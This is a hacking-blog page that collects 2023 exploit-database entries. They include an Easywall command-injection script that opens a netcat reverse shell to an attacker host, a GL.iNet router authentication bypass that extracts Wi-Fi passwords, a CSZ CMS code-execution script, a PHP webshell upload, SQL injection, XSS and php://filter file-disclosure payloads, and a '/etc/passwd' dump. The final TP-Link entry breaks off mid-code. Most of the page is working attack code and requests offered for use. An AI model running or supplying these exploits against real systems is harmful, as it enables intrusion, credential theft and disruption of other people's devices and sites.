Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863109292

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: Easywall 0.3.1 - Authenticated Remote Command Execution
# Date: 30-11-2023
# Exploit Author: Melvin Mejia
# Vendor Homepage: https://jpylypiw.github.io/easywall/
# Software Link: https://github.com/jpylypiw/easywall
# Version: 0.3.1
# Tested on: Ubuntu 22.04

import requests, json, urllib3
urllib3.disable_warnings()

def exploit():
    
    # Replace values needed here
    target_host = "192.168.1.25"
    target_port= "12227"
    lhost = "192.168.1.10"
    lport = "9001"
    user = "admin"
    password = "admin"
    
    target = f"https://{target_host}:{target_port}"

    # Authenticate to the app
    print("[+] Attempting login with the provided credentials...")
    login_data = {"username":user, "password":password}
    session = requests.session()
    try:
        login = session.post(f'{target}/login',data=login_data,verify=False)
    except Exception as ex:
        print("[!] There was a problem connecting to the app, error:", ex)
        exit(1)

    if login.status_code != 200:
        print("[!] Login failed.")
        exit(1)
    else:
        print("[+] Login successfull.")    
    
    # Send the payload, the port parameter suffers from a command injection vulnerability
    print("[+] Attempting to send payload.")
    rev_shell = f'/usr/bin/nc {lhost} {lport} -e bash #'
    data = {"port":f"123;{rev_shell}", "description":"","tcpudp":"tcp"}
    send_payload = session.post(f"{target}/ports-save",data=data,verify=False)
    if send_payload.status_code != 200:
        print("[!] Failed to send payload.")
        exit(1)
    else:
        print("[+] Payload sent.")

    # Trigger the execution of the payload
    print("[+] Attempting execution.")
    data = {"step_1":"", "step_2":""}
    execute = session.post(f"{target}/apply-save",data=data, verify=False)
    if execute.status_code != 200:
        print("[!] Attempt to execute failed.")
        exit(1)
    else:
        print(f"[+] Execution succeded, you should have gotten a shell at {lhost}:{lport}.")

exploit()
            
# Exploit Title: Stored XSS in Solar-Log 200 3.6.0 web panel
# Date: 10-30-23
# Exploit Author: Vincent McRae, Mesut Cetin - Redteamer IT Security
# Vendor Homepage: https://www.solar-log.com/en/
# Version: Solar-Log 200 PM+ 3.6.0 Build 99 - 15.10.2019
# Tested on: Proprietary devices: https://www.solar-log.com/en/support/firmware/
# CVE: CVE-2023-46344

# POC:

1. Go to solar panel
2. Go to configuration -> Smart Energy -> "drag & drop" button.
3. Change "name" to: <xss onmouseenter="alert(document.cookie)"
style=display:block>test</xss>
4. Once you hover over "test", you get XSS -> if a higher privileged
user hovers over it, we can get their cookies.
            
# Exploit Title: kk Star Ratings < 5.4.6 - Rating Tampering via Race
Condition
# Google Dork: inurl:/wp-content/plugins/kk-star-ratings/
# Date: 2023-11-06
# Exploit Author: Mohammad Reza Omrani
# Vendor Homepage: https://github.com/kamalkhan
# Software Link: https://wordpress.org/plugins/kk-star-ratings/
# WPScan :
https://wpscan.com/vulnerability/6f481d34-6feb-4af2-914c-1f3288f69207/
# Version: 5.4.6
# Tested on: Wordpress 6.2.2
# CVE : CVE-2023-4642

# POC:
1- Install and activate kk Star Ratings.
2- Go to the page that displays the star rating.
3- Using Burp and the Turbo Intruder extension, intercept the rating
submission.
4- Send the request to Turbo Intruder using Action > Extensions > Turbo
Intruder > Send to turbo intruder.
5- Drop the initial request and turn Intercept off.
6- In the Turbo Intruder window, add "%s" to the end of the connection
header (e.g. "Connection: close %s").
7- Use the code `examples/race.py`.
8- Click "Attack" at the bottom of the window. This will send multiple
requests to the server at the same moment.
9- To see the updated total rates, reload the page you tested.
            
# Exploit Title: Wordpress Plugin Neon Text <= 1.1 - Stored Cross Site Scripting (XSS)
# Date: 2023-11-15
# Exploit Author: Eren Car
# Vendor Homepage: https://www.eralion.com/
# Software Link: https://downloads.wordpress.org/plugin/neon-text.zip
# Category: Web Application
# Version: 1.0
# Tested on: Debian / WordPress 6.4.1
# CVE : CVE-2023-5817

# 1. Description:
The Neon text plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's neontext_box shortcode in 1.1 and above versions. 
  
# 2. Proof of Concept (PoC):
  a. Install and activate version 1.0 of the plugin.
  b. Go to the posts page and create new post.
  c. Add shorcode block and insert the following payload:
  
		[neontext_box][neontext color='"onmouseover="alert(document.domain)"']TEST[/neontext][/neontext_box]
		
		
  d. Save the changes and preview the page. Popup window demonstrating the vulnerability will be executed.
            
# Exploit Title: Lot Reservation Management System Unauthenticated File Upload and Remote Code Execution
# Google Dork: N/A
# Date: 10th December 2023
# Exploit Author: Elijah Mandila Syoyi
# Vendor Homepage: https://www.sourcecodester.com/php/14530/lot-reservation-management-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/lot-reservation-management-system.zip
# Version: 1.0
# Tested on: Microsoft Windows 11 Enterprise and XAMPP 3.3.0
# CVE : N/A

Developer description about application purpose:-

------------------------------------------------------------------------------------------------------------------------------------------------------------------
About

The Lot Reservation Management System is a simple PHP/MySQLi project that will help a certain subdivision, condo, or any business that selling a land property or house and lot. The system will help the said industry or company to provide their possible client information about the property they are selling and at the same time, possible clients can reserve their desired property. The lot reservation system website for the clients has user-friendly functions and the contents that are displayed can be managed dynamically by the management. This system allows management to upload the area map, and by this feature, the system admin or staff will populate the list of lots, house models, or the property that they are selling to allow the possible client to choose the area they want. The map will be divided into each division of the property of building like Phase 1-5 of a certain Subdivision, each of these phases will be encoded individually in the system along with the map image showing the division of each property or lots.

------------------------------------------------------------------------------------------------------------------------------------------------------------------


Vulnerability:-

The application does not properly verify authentication information and file types before files upload. This can allow an attacker to bypass authentication and file checking and upload malicious file to the server. There is an open directory listing where uploaded files are stored, allowing an attacker to open the malicious file in PHP, and will be executed by the server.



Proof of Concept:-

(HTTP POST Request)

POST /lot/admin/ajax.php?action=save_division HTTP/1.1
Host: 192.168.150.228
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------217984066236596965684247013027
Content-Length: 606
Origin: http://192.168.150.228
Connection: close
Referer: http://192.168.150.228/lot/admin/index.php?page=divisions


-----------------------------217984066236596965684247013027
Content-Disposition: form-data; name="id"


-----------------------------217984066236596965684247013027
Content-Disposition: form-data; name="name"

sample
-----------------------------217984066236596965684247013027
Content-Disposition: form-data; name="description"

sample
-----------------------------217984066236596965684247013027
Content-Disposition: form-data; name="img"; filename="phpinfo.php"
Content-Type: application/x-php

<?php phpinfo() ?>

-----------------------------217984066236596965684247013027--



Check your uploaded file/shell in "http://192.168.150.228/lot/admin/assets/uploads/maps/". Replace the IP Addresses with the victim IP address.
            
DZONERZY Security Research

GLiNet: Router Authentication Bypass

========================================================================
Contents
========================================================================

1. Overview
2. Detailed Description
3. Exploit
4. Timeline

========================================================================
1. Overview
========================================================================

CVE-2023-46453 is a remote authentication bypass vulnerability in the web
interface of GLiNet routers running firmware versions 4.x and up. The
vulnerability allows an attacker to bypass authentication and gain access
to the router's web interface.

========================================================================
2. Detailed Description
========================================================================

The vulnerability is caused by a lack of proper authentication checks in
/usr/sbin/gl-ngx-session file. The file is responsible for authenticating
users to the web interface. The authentication is in different stages.

Stage 1:

During the first stage the user send a request to the challenge rcp
endpoint. The endpoint returns a random nonce value used later in the
authentication process.

Stage 2:

During the second stage the user sends a request to the login rcp endpoint
with the username and the encrypted password. The encrypted password is
calculated by the following formula:

md5(username + crypt(password) + nonce)

The crypt function is the standard unix crypt function.

The vulnerability lies in the fact that the username is not sanitized
properly before being passed to the login_test function in the lua script.

------------------------------------------------------------------------
local function login_test(username, hash)
    if not username or username == "" then return false end

    for l in io.lines("/etc/shadow") do
        local pw = l:match('^' .. username .. ':([^:]+)')
        if pw then
            for nonce in pairs(nonces) do
                if utils.md5(table.concat({username, pw, nonce}, ":")) ==
hash then
                    nonces[nonce] = nil
                    nonce_cnt = nonce_cnt - 1
                    return true
                end
            end
            return false
        end
    end

    return false
end
------------------------------------------------------------------------

This script check the username against the /etc/shadow file. If the username
is found in the file the script will extract the password hash and compare
it to the hash sent by the user. If the hashes match the user is
authenticated.

The issue is that the username is not sanitized properly before being
concatenated with the regex. This allows an attacker to inject a regex into
the username field and modify the final behavior of the regex.

for instance, the following username will match the userid of the root user:

root:[^:]+:[^:]+ will become root:[^:]+:[^:]+:([^:]+)


This will match the "root:" string and then any character until the next ":"
character. This will cause the script skip the password and return the
user id instead.

Since the user id of the root user is always 0, the script will always
return:

md5("root:[^:]+:[^:]+" + "0" + nonce)

Since this value is always the same, the attacker can simply send the known
hash value to the login rcp endpoint and gain access to the web interface.

Anyway this approach won't work as expected since later in the code inside
the
this check appear:

------------------------------------------------------------------------
    local aclgroup = db.get_acl_by_username(username)

    local sid = utils.generate_id(32)

    sessions[sid] = {
        username = username,
        aclgroup = aclgroup,
        timeout = time_now() + session_timeout
    }
------------------------------------------------------------------------

The username which is now our custom regex will be passed to the
get_acl_by_username
function. This function will check the username against a database and
return the aclgroup associated with the username.
If the username is not found in the database the function will return nil,
thus causing attack to fail.

By checking the code we can see that the get_acl_by_username function is
actually appending our raw string to a query and then executing it.
This means that we can inject a sql query into the username field and
make it return a valid aclgroup.

------------------------------------------------------------------------
M.get_acl_by_username = function(username)
    if username == "root" then return "root" end

    local db = sqlite3.open(DB)
    local sql = string.format("SELECT acl FROM account WHERE username =
'%s'", username)

    local aclgroup = ""

    for a in db:rows(sql) do
        aclgroup = a[1]
    end

    db:close()

    return aclgroup
end
------------------------------------------------------------------------

Using this payload we were able to craft a username which is both a valid
regex and a valid sql query:

roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+

this will make the sql query become:

SELECT acl FROM account WHERE username = 'roo[^'union selecT
char(114,111,111,116)--]:[^:]+:[^:]+'

which will return the aclgroup of the root user (root).

========================================================================
3. Exploit
========================================================================

------------------------------------------------------------------------
# Exploit Title: [CVE-2023-46453] GL.iNet - Authentication Bypass
# Date: 18/10/2023
# Exploit Author: Daniele 'dzonerzy' Linguaglossa
# Vendor Homepage: https://www.gl-inet.com/
# Vulnerable Devices:
#   GL.iNet GL-MT3000 (4.3.7)
#   GL.iNet GL-AR300M(4.3.7)
#   GL.iNet GL-B1300 (4.3.7)
#   GL.iNet GL-AX1800 (4.3.7)
#   GL.iNet GL-AR750S (4.3.7)
#   GL.iNet GL-MT2500 (4.3.7)
#   GL.iNet GL-AXT1800 (4.3.7)
#   GL.iNet GL-X3000 (4.3.7)
#   GL.iNet GL-SFT1200 (4.3.7)
#   And many more...
# Version: 4.3.7
# Firmware Release Date: 2023/09/13
# CVE: CVE-2023-46453

from urllib.parse import urlparse
import requests
import hashlib
import random
import sys


def exploit(url):
    try:
        requests.packages.urllib3.disable_warnings()
        host = urlparse(url)
        url = f"{host.scheme}://{host.netloc}/rpc"
        print(f"[*] Target: {url}")
        print("[*] Retrieving nonce...")
        nonce = requests.post(url, verify=False, json={
            "jsonrpc": "2.0",
            "id": random.randint(1000, 9999),
            "method": "challenge",
            "params": {"username": "root"}
        }, timeout=5).json()
        if "result" in nonce and "nonce" in nonce["result"]:
            print(f"[*] Got nonce: {nonce['result']['nonce']} !")
        else:
            print("[!] Nonce not found, exiting... :(")
            sys.exit(1)
        print("[*] Retrieving authentication token for root...")
        md5_hash = hashlib.md5()
        md5_hash.update(
            f"roo[^'union selecT
char(114,111,111,116)--]:[^:]+:[^:]+:0:{nonce['result']['nonce']}".encode())
        password = md5_hash.hexdigest()
        token = requests.post(url, verify=False, json={
            "jsonrpc": "2.0",
            "id": random.randint(1000, 9999),
            "method": "login",
            "params": {
                "username": f"roo[^'union selecT
char(114,111,111,116)--]:[^:]+:[^:]+",
                "hash": password
            }
        }, timeout=5).json()
        if "result" in token and "sid" in token["result"]:
            print(f"[*] Got token: {token['result']['sid']} !")
        else:
            print("[!] Token not found, exiting... :(")
            sys.exit(1)
        print("[*] Checking if we are root...")
        check = requests.post(url, verify=False, json={
            "jsonrpc": "2.0",
            "id": random.randint(1000, 9999),
            "method": "call",
            "params": [token["result"]["sid"], "system", "get_status", {}]
        }, timeout=5).json()
        if "result" in check and "wifi" in check["result"]:
            print("[*] We are authenticated as root! :)")
            print("[*] Below some info:")
            for wifi in check["result"]["wifi"]:
                print(f"[*] --------------------")
                print(f"[*] SSID: {wifi['ssid']}")
                print(f"[*] Password: {wifi['passwd']}")
                print(f"[*] Band: {wifi['band']}")
            print(f"[*] --------------------")
        else:
            print("[!] Something went wrong, exiting... :(")
            sys.exit(1)
    except requests.exceptions.Timeout:
        print("[!] Timeout error, exiting... :(")
        sys.exit(1)
    except KeyboardInterrupt:
        print(f"[!] Something went wrong: {e}")


if __name__ == "__main__":
    print("GL.iNet Auth Bypass\n")
    if len(sys.argv) < 2:
        print(
            f"Usage: python3 {sys.argv[1]} https://target.com",
file=sys.stderr)
        sys.exit(0)
    else:
        exploit(sys.argv[1])
------------------------------------------------------------------------

========================================================================
4. Timeline
========================================================================

2023/09/13 - Vulnerability discovered
2023/09/14 - CVE-2023-46453 requested
2023/09/20 - Vendor contacted
2023/09/20 - Vendor replied
2023/09/30 - CVE-2023-46453 assigned
2023/11/08 - Vulnerability patched and fix released
            
# Exploit Title: Customer Support System 1.0 - Multiple SQL injection
vulnerabilities
# Date: 15/12/2023
# Exploit Author: Geraldo Alcantara
# Vendor Homepage:
https://www.sourcecodester.com/php/14587/customer-support-system-using-phpmysqli-source-code.html
# Software Link:
https://www.sourcecodester.com/download-code?nid=14587&title=Customer+Support+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested on: Windows
# CVE : CVE-2023-50071
*Description*: Multiple SQL injection vulnerabilities in
/customer_support/ajax.php?action=save_ticket in Customer Support
System 1.0 allow authenticated attackers to execute arbitrary SQL
commands via department_id, customer_id and subject.*Payload*:
'+(select*from(select(sleep(20)))a)+'
*Steps to reproduce*:

1- Log in to the application.

2- Navigate to the page /customer_support/index.php?page=new_ticket.

3- Create a new ticket and insert a malicious payload into one of the
following parameters: department_id, customer_id, or subject.
*Request:*
POST /customer_support/ajax.php?action=save_ticket HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0)
Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data;
boundary=---------------------------81419250823331111993422505835
Content-Length: 853
Origin: http://192.168.68.148
Connection: close
Referer: http://192.168.68.148/customer_support/index.php?page=new_ticket
Cookie: csrftoken=1hWW6JE5vLFhJv2y8LwgL3WNPbPJ3J2WAX9F2U0Fd5H5t6DSztkJWD4nWFrbF8ko;
sessionid=xrn1sshbol1vipddxsijmgkdp2q4qdgq;
PHPSESSID=mfd30tu0h0s43s7kdjb74fcu0l

-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="id"


-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="subject"

teste'+(select*from(select(sleep(5)))a)+'
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="customer_id"

3
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="department_id"

4
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="description"

<p>Blahs<br></p>
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="files"; filename=""
Content-Type: application/octet-stream


-----------------------------81419250823331111993422505835--
            
# Exploit Title: Lot Reservation Management System Unauthenticated File Disclosure Vulnerability
# Google Dork: N/A
# Date: 10th December 2023
# Exploit Author: Elijah Mandila Syoyi
# Vendor Homepage: https://www.sourcecodester.com/php/14530/lot-reservation-management-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/lot-reservation-management-system.zip
# Version: 1.0
# Tested on: Microsoft Windows 11 Enterprise and XAMPP 3.3.0
# CVE : N/A

Developer description about application purpose:-

------------------------------------------------------------------------------------------------------------------------------------------------------------------
About

The Lot Reservation Management System is a simple PHP/MySQLi project that will help a certain subdivision, condo, or any business that selling a land property or house and lot. The system will help the said industry or company to provide their possible client information about the property they are selling and at the same time, possible clients can reserve their desired property. The lot reservation system website for the clients has user-friendly functions and the contents that are displayed can be managed dynamically by the management. This system allows management to upload the area map, and by this feature, the system admin or staff will populate the list of lots, house models, or the property that they are selling to allow the possible client to choose the area they want. The map will be divided into each division of the property of building like Phase 1-5 of a certain Subdivision, each of these phases will be encoded individually in the system along with the map image showing the division of each property or lots.

------------------------------------------------------------------------------------------------------------------------------------------------------------------


Vulnerability:-

The application is vulnerable to PHP source code disclosure vulnerability. This can be abused by an attacker to disclose sensitive PHP files within the application and also outside the server root. PHP conversion to base64 filter will be used in this scenario.



Proof of Concept:-

(HTTP POST Request)

GET /lot/index.php?page=php://filter/convert.base64-encode/resource=admin/db_connect HTTP/1.1
Host: 192.168.150.228
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.150.228/lot/
Cookie: PHPSESSID=o59sqrufi4171o8bkbmf1aq9sn
Upgrade-Insecure-Requests: 1


The same can be achieved by removing the PHPSESSID cookie as below:-


GET /lot/index.php?page=php://filter/convert.base64-encode/resource=admin/db_connect HTTP/1.1
Host: 192.168.150.228
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.150.228/lot/
Upgrade-Insecure-Requests: 1



The file requested will be returned in base64 format in returned HTTP response.

The attack can also be used to traverse directories to return files outside the web root.



GET /lot/index.php?page=php://filter/convert.base64-encode/resource=D:\test HTTP/1.1
Host: 192.168.150.228
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.150.228/lot/
Upgrade-Insecure-Requests: 1


This will return test.php file in the D:\ directory.
            
# Exploit Title: elFinder Web file manager Version: 2.1.53 Remote Command Execution
# Date: 23/11/2023
# Exploit Author: tmrswrr
# Google Dork: intitle:"elFinder 2.1.53"
# Vendor Homepage: https://studio-42.github.io/elFinder/
# Software Link: https://github.com/Studio-42/elFinder/archive/refs/tags/2.1.53.zip
# Version: 2.1.53
# Tested on: https://www.softaculous.com/apps/cms/CSZ_CMS

1 ) Enter admin panel and go to this url > https://demos1.softaculous.com/CSZ_CMSstym1wtmnz/admin/filemanager
2 ) Click Template Main and upload this test.php file :

<?php echo system('cat /etc/passwd'); ?>

3 ) https://demos1.softaculous.com/CSZ_CMSstym1wtmnz/test.php

root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin systemd-bus-proxy:x:999:998:systemd Bus Proxy:/:/sbin/nologin systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin polkitd:x:998:997:User for polkitd:/:/sbin/nologin tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin postfix:x:89:89::/var/spool/postfix:/sbin/nologin chrony:x:997:995::/var/lib/chrony:/sbin/nologin soft:x:1000:1000::/home/soft:/sbin/nologin saslauth:x:996:76:Saslauthd user:/run/saslauthd:/sbin/nologin mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin emps:x:995:1001::/home/emps:/bin/bash named:x:25:25:Named:/var/named:/sbin/nologin exim:x:93:93::/var/spool/exim:/sbin/nologin vmail:x:5000:5000::/var/local/vmail:/bin/bash webuzo:x:992:991::/home/webuzo:/bin/bash apache:x:991:990::/home/apache:/sbin/nologin mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/false mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/false
            
# Exploit Title: CSZ CMS Version 1.3.0 Remote Command Execution
# Date: 17/11/2023
# Exploit Author: tmrswrr
# Vendor Homepage: https://www.cszcms.com/
# Software Link: https://www.cszcms.com/link/3#https://sourceforge.net/projects/cszcms/files/latest/download
# Version: Version 1.3.0
# Tested on: https://www.softaculous.com/apps/cms/CSZ_CMS


import os
import zipfile
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.firefox.options import Options as FirefoxOptions
from selenium.webdriver.firefox.service import Service as FirefoxService
from webdriver_manager.firefox import GeckoDriverManager
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import NoSuchElementException, TimeoutException
import requests
from time import sleep
import sys
import random
import time
import platform
import tarfile
from io import BytesIO

email = "admin@admin.com" 
password = "password"

class colors:
    OKBLUE = '\033[94m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'
    CBLACK = '\33[30m'
    CRED = '\33[31m'
    CGREEN = '\33[32m'
    CYELLOW = '\33[33m'
    CBLUE = '\33[34m'
    CVIOLET = '\33[35m'
    CBEIGE = '\33[36m'
    CWHITE = '\33[37m'


color_random = [colors.CBLUE, colors.CVIOLET, colors.CWHITE, colors.OKBLUE, colors.CGREEN, colors.WARNING,
                colors.CRED, colors.CBEIGE]
random.shuffle(color_random)


def entryy():
    x = color_random[0] + """

╭━━━┳━━━┳━━━━╮╭━━━┳━╮╭━┳━━━╮╭━━━┳━━━┳━━━╮╭━━━┳━╮╭━┳━━━┳╮╱╱╭━━━┳━━┳━━━━╮
┃╭━╮┃╭━╮┣━━╮━┃┃╭━╮┃┃╰╯┃┃╭━╮┃┃╭━╮┃╭━╮┃╭━━╯┃╭━━┻╮╰╯╭┫╭━╮┃┃╱╱┃╭━╮┣┫┣┫╭╮╭╮┃
┃┃╱╰┫╰━━╮╱╭╯╭╯┃┃╱╰┫╭╮╭╮┃╰━━╮┃╰━╯┃┃╱╰┫╰━━╮┃╰━━╮╰╮╭╯┃╰━╯┃┃╱╱┃┃╱┃┃┃┃╰╯┃┃╰╯
┃┃╱╭╋━━╮┃╭╯╭╯╱┃┃╱╭┫┃┃┃┃┣━━╮┃┃╭╮╭┫┃╱╭┫╭━━╯┃╭━━╯╭╯╰╮┃╭━━┫┃╱╭┫┃╱┃┃┃┃╱╱┃┃
┃╰━╯┃╰━╯┣╯━╰━╮┃╰━╯┃┃┃┃┃┃╰━╯┃┃┃┃╰┫╰━╯┃╰━━╮┃╰━━┳╯╭╮╰┫┃╱╱┃╰━╯┃╰━╯┣┫┣╮╱┃┃
╰━━━┻━━━┻━━━━╯╰━━━┻╯╰╯╰┻━━━╯╰╯╰━┻━━━┻━━━╯╰━━━┻━╯╰━┻╯╱╱╰━━━┻━━━┻━━╯╱╰╯

                <<   CSZ CMS Version 1.3.0 RCE     >>
                <<      CODED BY TMRSWRR           >>
                <<     GITHUB==>capture0x          >>

\n"""
    for c in x:
        print(c, end='')
        sys.stdout.flush()
        sleep(0.0045)
    oo = " " * 6 + 29 * "░⣿" + "\n\n"
    for c in oo:
        print(colors.CGREEN + c, end='')
        sys.stdout.flush()
        sleep(0.0065)

    tt = " " * 5 + "░⣿" + " " * 6 + "WELCOME TO CSZ CMS Version 1.3.0 RCE Exploit" + " " * 7 + "░⣿" + "\n\n"
    for c in tt:
        print(colors.CWHITE + c, end='')
        sys.stdout.flush()
        sleep(0.0065)
    xx = " " * 6 + 29 * "░⣿" + "\n\n"
    for c in xx:
        print(colors.CGREEN + c, end='')
        sys.stdout.flush()
        sleep(0.0065)

def check_geckodriver():
    current_directory = os.path.dirname(os.path.abspath(__file__))
    geckodriver_path = os.path.join(current_directory, 'geckodriver')

    if not os.path.isfile(geckodriver_path):
        red = "\033[91m"
        reset = "\033[0m"
        print(red + "\n\nGeckoDriver (geckodriver) is not available in the script's directory." + reset)
        user_input = input("Would you like to download it now? (yes/no): ").lower()
        if user_input == 'yes':
            download_geckodriver(current_directory)
        else:
            print(red + "Please download GeckoDriver manually from: https://github.com/mozilla/geckodriver/releases" + reset)
            sys.exit(1)

def download_geckodriver(directory):

    print("[*] Detecting OS and architecture...")
    os_name = platform.system().lower()
    arch, _ = platform.architecture()

    if os_name == "linux":
        os_name = "linux"
        arch = "64" if arch == "64bit" else "32"
    elif os_name == "darwin":
        os_name = "macos"
        arch = "aarch64" if platform.processor() == "arm" else ""
    elif os_name == "windows":
        os_name = "win"
        arch = "64" if arch == "64bit" else "32"
    else:
        print("[!] Unsupported operating system.")
        sys.exit(1)

    geckodriver_version = "v0.33.0"
    geckodriver_file = f"geckodriver-{geckodriver_version}-{os_name}{arch}"
    ext = "zip" if os_name == "win" else "tar.gz"
    url = f"https://github.com/mozilla/geckodriver/releases/download/{geckodriver_version}/{geckodriver_file}.{ext}"

    print(f"[*] Downloading GeckoDriver for {platform.system()} {arch}-bit...")
    response = requests.get(url, stream=True)

    if response.status_code == 200:
        print("[*] Extracting GeckoDriver...")
        if ext == "tar.gz":
            with tarfile.open(fileobj=BytesIO(response.content), mode="r:gz") as tar:
                tar.extractall(path=directory)
        else:   
            with zipfile.ZipFile(BytesIO(response.content)) as zip_ref:
                zip_ref.extractall(directory)
        print("[+] GeckoDriver downloaded and extracted successfully.")
    else:
        print("[!] Failed to download GeckoDriver.")
        sys.exit(1)
        
def create_zip_file(php_filename, zip_filename, php_code):
    try:
        with open(php_filename, 'w') as file:
            file.write(php_code)
        with zipfile.ZipFile(zip_filename, 'w') as zipf:
            zipf.write(php_filename)
        print("[+] Zip file created successfully.")
        os.remove(php_filename)
        return zip_filename
    except Exception as e:
        print(f"[!] Error creating zip file: {e}")
        sys.exit(1)


def main(base_url, command):

    if not base_url.endswith('/'):
        base_url += '/'
        
    zip_filename = None   

    check_geckodriver()
    try:
        firefox_options = FirefoxOptions()
        firefox_options.add_argument("--headless")

        script_directory = os.path.dirname(os.path.abspath(__file__))
        geckodriver_path = os.path.join(script_directory, 'geckodriver')
        service = FirefoxService(executable_path=geckodriver_path)
        driver = webdriver.Firefox(service=service, options=firefox_options)
        print("[*] Exploit initiated.")

        # Login
        driver.get(base_url + "admin/login")
        print("[*] Accessing login page...")
        driver.find_element(By.NAME, "email").send_keys(f"{email}")
        driver.find_element(By.NAME, "password").send_keys(f"{password}")
        driver.find_element(By.ID, "login_submit").click()
        print("[*] Credentials submitted...")

 
        try:
            error_message = driver.find_element(By.XPATH, "//*[contains(text(), 'Email address/Password is incorrect')]")
            if error_message.is_displayed():
                print("[!] Login failed: Invalid credentials.")
                driver.quit()
                sys.exit(1)
        except NoSuchElementException:
            print("[+] Login successful.")

        # File creation  
        print("[*] Preparing exploit files...")
        php_code = f"<?php echo system('{command}'); ?>"
        zip_filename = create_zip_file("exploit.php", "payload.zip", php_code)

 
        driver.get(base_url + "admin/upgrade")
        print("[*] Uploading exploit payload...")
        file_input = driver.find_element(By.ID, "file_upload")
        file_input.send_keys(os.path.join(os.getcwd(), zip_filename))

  	# Uploading
        driver.find_element(By.ID, "submit").click()
        WebDriverWait(driver, 10).until(EC.alert_is_present())
        alert = driver.switch_to.alert
        alert.accept()

        # Exploit result 
        exploit_url = base_url + "exploit.php"
        response = requests.get(exploit_url)
        print(f"[+] Exploit response:\n\n{response.text}")

    except Exception as e:
        print(f"[!] Error: {e}")
    finally:
        driver.quit()
        if zip_filename and os.path.exists(zip_filename):
            os.remove(zip_filename)

if __name__ == "__main__":
    entryy()
    if len(sys.argv) < 3:
        print("Usage: python script.py [BASE_URL] [COMMAND]")
    else:
        main(sys.argv[1], sys.argv[2])
            
# Exploit Title: TP-Link TL-WR740N - Buffer Overflow 'DOS'
# Date: 8/12/2023
# Exploit Author: Anish Feroz (ZEROXINN)
# Vendor Homepage: http://www.tp-link.com
# Version: TP-Link TL-WR740n 3.12.11 Build 110915 Rel.40896n
# Tested on: TP-Link TL-WR740N

#Description:

#There exist a buffer overflow vulnerability in TP-Link TL-WR740 router that can allow an attacker to crash the web server running on the router by sending a crafted request. To bring back the http (webserver), a user must physically reboot the router.

#Usage:

#python3 target username password
#change port, if required

------------------------------------------------POC-----------------------------------------

#!/usr/bin/python

import requests
from requests.auth import HTTPBasicAuth
import base64

def send_request(ip, username, password):
    auth_url = f"http://{ip}:8082"
